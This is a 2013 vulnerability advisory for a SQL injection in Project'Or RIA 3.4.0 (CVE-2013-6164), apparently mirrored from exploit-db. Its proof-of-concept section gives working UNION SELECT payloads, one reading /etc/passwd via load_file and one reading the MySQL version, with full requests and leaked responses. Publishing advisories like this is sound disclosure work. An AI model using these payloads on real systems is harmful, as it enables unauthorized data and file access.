Project’Or RIA 3.4.0 – ‘objectDetail.php?objectId’ SQL Injection

  • 作者: Vicente Aguilera Diaz
    日期: 2013-11-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/29517/
  • =============================================
    INTERNET SECURITY AUDITORS ALERT 2013-017
    - Original release date: July 26th, 2013
    - Last revised:July 26th, 2013
    - Discovered by: Vicente Aguilera Diaz
    - Severity: 6.8/10 (CVSSv2 Base Scored)
    - CVE-ID: CVE-2013-6164
    =============================================
    
    I. VULNERABILITY
    -------------------------
    SQL Injection vulnerability in "Project'Or RIA" allow arbitrary access
    to the database and the file system.
    
    
    II. BACKGROUND
    -------------------------
    Project'Or RIA is an open source Project Management Software, trying to
    gather in a single tool every functionality needed to organize your
    projects.
    The objective is to keep it simple, easy to use on a day to day
    activity, while covering most of the project management functionalities.
    
    
    III. DESCRIPTION
    -------------------------
    Has been detected a SQL Injection vulnerability in the "Affectations"
    functionality of this application. The affected resource and parameter
    are the
    
    following:
    
    Resource:
    /view/objectDetail.php
    
    Parameter:
    objectId
    
    This vulnerability allows the execution of arbitrary SQL code against
    the database, and arbitrary access to the file system.
    
    
    IV. PROOF OF CONCEPT
    -------------------------
    When a user access to the "Environmental parameters / Affectations"
    functionality, is generated a output with a list of resources. If a user
    access to the de
    
    tails of a resource, is generated a request as follows:
    
    POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
    Host: <projectorria-server>
    
    objectClass=Affectation&objectId=000042&listIdFilter=&listFilterClause=
    
    where the "objectId" value contains the resource identifier.
    
    A malicious user can inject arbitrary SQL code in the <objecId>
    parameters of this request. For example:
    
    1. Accessing the file system
    1.1 /etc/passwd
    Modified parameter:
     <objectId>
    
    Value:
    
    99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
    
    Request:
    
    POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
    Host: <projectorria-server>
    
    objectClass=Affectation&objectId=99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
    
    &listIdFilter=&listFilterClause=
    
    Response:
    HTTP/1.1 200 OK
    
    ...
    <span dojoType="dijit.form.TextBox" type="text" id="id" name="id" 
    class="display"readonly tabindex="-1" style="width: 75px;" 
    
    value="root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    whoopsie:x:102:104::/nonexistent:/bin/false
    landscape:x:103:105::/var/lib/landscape:/bin/false
    messagebus:x:104:108::/var/run/dbus:/bin/false
    ntpd:x:105:111::/var/run/openntpd:/bin/false
    postfix:x:106:113::/var/spool/postfix:/bin/false
    babynus:x:1000:1000::/home/babynus:/bin/bash
    bind:x:107:115::/var/cache/bind:/bin/false
    sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
    zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
    mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
    nagios:x:111:118::/var/lib/nagios:/bin/false
    smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
    smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
    postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    " ></span>
    ...
    
    Obtained info (/etc/passw):
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    whoopsie:x:102:104::/nonexistent:/bin/false
    landscape:x:103:105::/var/lib/landscape:/bin/false
    messagebus:x:104:108::/var/run/dbus:/bin/false
    ntpd:x:105:111::/var/run/openntpd:/bin/false
    postfix:x:106:113::/var/spool/postfix:/bin/false
    babynus:x:1000:1000::/home/babynus:/bin/bash
    bind:x:107:115::/var/cache/bind:/bin/false
    sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
    zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
    mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
    nagios:x:111:118::/var/lib/nagios:/bin/false
    smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
    smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
    postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    
    
    2. Obtaining database private information
    2.1 Obtaining TABLE_NAME from INFORMATION_sCHEMA.TABLES
    Modified parameter:
     <objectId>
    
    Value:
    
    99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
    
    Request:
    
    POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
    Host: <projectorria-server>
    
    objectClass=Affectation&objectId=99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
    
    &listIdFilter=&listFilterClause=
    
    Response:
    HTTP/1.1 200 OK
    
    <span dojoType="dijit.form.TextBox" type="text" id="id" name="id" 
    class="display"readonly tabindex="-1" style="width: 75px;"value="5.5.24-
    
    0ubuntu0.12.04.1" >
    
    Obtained info (MySQL Version):
    5.5.24-0ubuntu0.12.04.1
    
    
    V. BUSINESS IMPACT
    -------------------------
    An attacker can execute arbitrary SQL code and gain access to private
    information stored in the database or the file system.
     
    
    VI. SYSTEMS AFFECTED
    -------------------------
    Tested in Project'Or RIA v3.4.0
     
    
    VII. SOLUTION
    -------------------------
    Pending.
    
    
    VIII. REFERENCES
    -------------------------
    http://projectorria.org
    http://www.isecauditors.com
    
    
    IX. CREDITS
    -------------------------
    This vulnerability has been discovered by Vicente Aguilera Diaz
    (vaguilera (at) isecauditors (dot) com).
    
    
    X. REVISION HISTORY
    -------------------------
    July26, 2013: Initial release
    
    
    XI. DISCLOSURE TIMELINE
    -------------------------
    July25, 2013: Vulnerability acquired by Internet Security Auditors
    (www.isecauditors.com).
    September 26, 2013: Sent to project support.
    November03, 2013: New release and disclosure.
    
    
    
    XII. LEGAL NOTICES
    -------------------------
    The information contained within this advisory is supplied "as-is" with
    no warranties or guarantees of fitness of use or otherwise. Internet
    Security
    
    Auditors accepts no responsibility for any damage caused by the use or
    misuse of this information.
    
    
    XIII. ABOUT
    -------------------------
    Internet Security Auditors is a Spain based leader in web application
    testing, network security, penetration testing, security compliance
    implementation and
    
    assessing. Our clients include some of the largest companies in areas
    such as finance, telecommunications, insurance, ITC, etc. We are vendor
    independent
    
    provider with a deep expertise since 2001. Our efforts in R&D include
    vulnerability research, open security project collaboration and
    whitepapers,
    
    presentations and security events participation and promotion. For
    further information regarding our security services, contact us.
    
    
    XIV. FOLLOW US
    -------------------------
    You can follow Internet Security Auditors, news and security advisories at:
    https://www.facebook.com/ISecAuditors
    https://twitter.com/ISecAuditors
    http://www.linkedin.com/company/internet-security-auditors
    http://www.youtube.com/user/ISecAuditors